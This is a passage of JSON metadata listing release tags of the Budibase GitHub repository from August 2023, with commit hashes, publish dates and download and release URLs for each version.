2.9.30-alpha.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.10/manifests"},{"name":"2.9.30-alpha.9","sha":"cf1281780d4e21451403ae45b3275ad9d12dc58a","kind":"commit","published_at":"2023-08-21T15:39:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.9/manifests"},{"name":"2.9.30-alpha.8","sha":"e5e1be4dd6958f297647295ba9a9c1c1dbe65c30","kind":"commit","published_at":"2023-08-21T13:20:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.8/manifests"},{"name":"2.9.30","sha":"27bd653b02753900c58bf59cb387078f9c9fde50","kind":"commit","published_at":"2023-08-21T11:45:46.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30/manifests"},{"name":"2.9.30-alpha.7","sha":"956c70333b362e513b22dcf15f4a79ceca7d1d7b","kind":"commit","published_at":"2023-08-21T11:05:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.7/manifests"},{"name":"2.9.30-alpha.6","sha":"8db56128d8428bb1668324531f966a978a2f89c6","kind":"commit","published_at":"2023-08-21T10:00:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.6/manifests"},{"name":"2.9.30-alpha.5","sha":"318b0d4e951a49994b27ff8607ed501892ee2b23","kind":"commit","published_at":"2023-08-18T15:53:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.5/manifests"},{"name":"2.9.30-alpha.4","sha":"83e3137f9c9ff3e0ab1c6960dc690b59aec96843","kind":"commit","published_at":"2023-08-18T14:50:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.4/manifests"},{"name":"2.9.30-alpha.3","sha":"6bbf80a1d04d4547ec1e7f5ad912b011f9c59766","kind":"commit","published_at":"2023-08-18T13:40:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.3/manifests"},{"name":"2.9.30-alpha.2","sha":"d38fe5bc6830134ed2f92ec1fb2cb295acf90315","kind":"commit","published_at":"2023-08-18T13:33:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.2/manifests"},{"name":"2.9.30-alpha.1","sha":"84407ee9c7ce6a2145cc2a7e37b2c32a4e6efb43","kind":"commit","published_at":"2023-08-18T12:30:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.1/manifests"},{"name":"2.9.30-alpha.0","sha":"d32e9d58a015024f1b96b857595f425c1a6bf0f2","kind":"commit","published_at":"2023-08-17T16:35:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.30-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.30-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.30-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.30-alpha.0/manifests"},{"name":"2.9.26-alpha.4","sha":"fce22c07512650528d667b3f1214be51c4428c80","kind":"commit","published_at":"2023-08-17T12:32:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.26-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.26-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.26-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.4/manifests"},{"name":"2.9.29","sha":"5d3a16c8c17b87151c5b6e8101c07e9c77510d44","kind":"commit","published_at":"2023-08-17T10:57:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.29","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.29/manifests"},{"name":"2.9.28","sha":"386a4f1747255739b06e177686145a16fb0f0a72","kind":"commit","published_at":"2023-08-17T09:28:39.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.28","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.28/manifests"},{"name":"2.9.27","sha":"2fab9a3ded83ae0a308de338c0d013023c95c200","kind":"commit","published_at":"2023-08-17T09:14:28.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.27","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.27/manifests"},{"name":"2.9.26-alpha.3","sha":"6ec948907e90b2189bd8fe02124363c4c8db51c0","kind":"commit","published_at":"2023-08-17T09:11:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.26-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.26-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.26-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.3/manifests"},{"name":"2.9.26","sha":"8576f165836d6b38320bf6a86b85c25485acbd31","kind":"commit","published_at":"2023-08-16T21:07:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.26","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26/manifests"},{"name":"2.9.26-alpha.2","sha":"2557997db6c828745ac4c0fbd6eb723482ac0490","kind":"commit","published_at":"2023-08-16T16:09:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.26-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.26-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.26-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.2/manifests"},{"name":"2.9.26-alpha.1","sha":"b6064f170ecbeeaf28297cd234c07ca1a38e3b7f","kind":"commit","published_at":"2023-08-16T14:59:21.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.26-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.26-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.26-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.1/manifests"},{"name":"2.9.26-alpha.0","sha":"6436aefa339ff61bac464738f93e2d032c6604cf","kind":"commit","published_at":"2023-08-14T17:25:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.26-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.26-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.26-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.26-alpha.0/manifests"},{"name":"2.9.25","sha":"f487a4d3caf938ac2beb2da9bdc6811c4dbf5d53","kind":"commit","published_at":"2023-08-14T16:46:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.25","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.25/manifests"},{"name":"2.9.24","sha":"e7fd37c156719b2bc219a0c42e3dc0c522ed1eba","kind":"commit","published_at":"2023-08-14T16:32:30.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.24","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24/manifests"},{"name":"2.9.24-alpha.4","sha":"cc0877df2f2080fb508d3f3fed612cdf972a124a","kind":"commit","published_at":"2023-08-11T13:37:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.24-alpha.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.24-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.24-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.4/manifests"},{"name":"2.9.24-alpha.3","sha":"a444d6a7328447d9ef18ba49390c9a9a324ebfeb","kind":"commit","published_at":"2023-08-11T06:52:17.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.24-alpha.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.24-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.24-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.3/manifests"},{"name":"2.9.24-alpha.2","sha":"3f26bb2aae737c233953d2a752f6c1a5fc58b2d4","kind":"commit","published_at":"2023-08-10T16:09:14.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.24-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.24-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.24-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.2/manifests"},{"name":"2.9.24-alpha.1","sha":"b0191a58470af5c4418df5614912d8ac7a2105a6","kind":"commit","published_at":"2023-08-10T14:51:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.24-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.24-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.24-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.1/manifests"},{"name":"2.9.24-alpha.0","sha":"415c5de46769cc04e3c7e96045f9b9085a804af2","kind":"commit","published_at":"2023-08-10T12:43:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.24-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.24-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.24-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.24-alpha.0/manifests"},{"name":"2.9.23","sha":"ad98588f306abc6ff8a5d3a1f694ac030204b43d","kind":"commit","published_at":"2023-08-10T11:39:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.23","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.23/manifests"},{"name":"2.9.21-alpha.2","sha":"febf51a9510c38c57eee4456f2cd37b2c5d13bd2","kind":"commit","published_at":"2023-08-10T10:19:59.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.21-alpha.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.21-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.21-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.21-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.21-alpha.2/manifests"},{"name":"2.9.22","sha":"a7be5b9ff7d7e8be88d653575a6f50ca3469d881","kind":"commit","published_at":"2023-08-10T09:35:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.22","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.22/manifests"},{"name":"2.9.21-alpha.1","sha":"97e64b88aabd7ac9367f8eaa3b7ded3e8e7a6cd2","kind":"commit","published_at":"2023-08-10T08:23:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.21-alpha.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.21-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.21-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.21-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.21-alpha.1/manifests"},{"name":"2.9.21","sha":"91f9338741af8e821c06358f53266c2cd96e9361","kind":"commit","published_at":"2023-08-09T16:43:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.21","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.21/manifests"},{"name":"2.9.21-alpha.0","sha":"dbfdc242d1afcb7952ecb5366a43722521448213","kind":"commit","published_at":"2023-08-09T15:25:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.21-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.21-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.21-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.21-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.21-alpha.0/manifests"},{"name":"2.9.20","sha":"7c12280fe398bce4ef0b3e2c22ef852d344c0f69","kind":"commit","published_at":"2023-08-09T14:34:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.20","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.20/manifests"},{"name":"2.9.19","sha":"ea3f4e8126c661d3a054d667a588de2209976c61","kind":"commit","published_at":"2023-08-09T12:44:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.19","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.19/manifests"},{"name":"2.9.19-alpha.0","sha":"9f842234dc551fb749f4c0b2b0b5f1bcaa94eca6","kind":"commit","published_at":"2023-08-09T10:40:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.19-alpha.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.19-alpha.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.19-alpha.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.19-alpha.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.19-alpha.0/manifests"},{"name":"2.9.18","sha":"56c82cc6971bfb178095ec30cbb38d74d8e55cd0","kind":"commit","published_at":"2023-08-09T10:35:58.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.18","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.18/manifests"},{"name":"2.9.17","sha":"fd677e5a866233baaa57573706ba301d7e5b8e25","kind":"commit","published_at":"2023-08-09T10:13:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.17","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.17/manifests"},{"name":"2.9.16","sha":"af2a2f4f056cead50f9f8c4cb25a0dc1eebecb20","kind":"commit","published_at":"2023-08-09T09:58:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.16","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.16/manifests"},{"name":"2.9.15","sha":"0fc1f13daad722505d5eea904d90acad66e8822a","kind":"commit","published_at":"2023-08-09T09:38:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.15","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.15/manifests"},{"name":"2.9.14","sha":"85903a2a30d42b62eedd5d249089fcf3caf75f93","kind":"commit","published_at":"2023-08-08T16:59:53.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.14/manifests"},{"name":"2.9.13","sha":"e468ff066f85a74e36ed607fb117289be4be7010","kind":"commit","published_at":"2023-08-08T16:26:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.13/manifests"},{"name":"2.9.12","sha":"4f5d286f62e5d1c6a9f74c6edd22734f5ae2dddd","kind":"commit","published_at":"2023-08-08T14:39:04.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.12/manifests"},{"name":"2.9.11","sha":"378d3ed40f155855a1903fcc8f630dc567d2e92b","kind":"commit","published_at":"2023-08-08T12:49:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.9.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.9.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.9.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.9.11/manifests"},{"name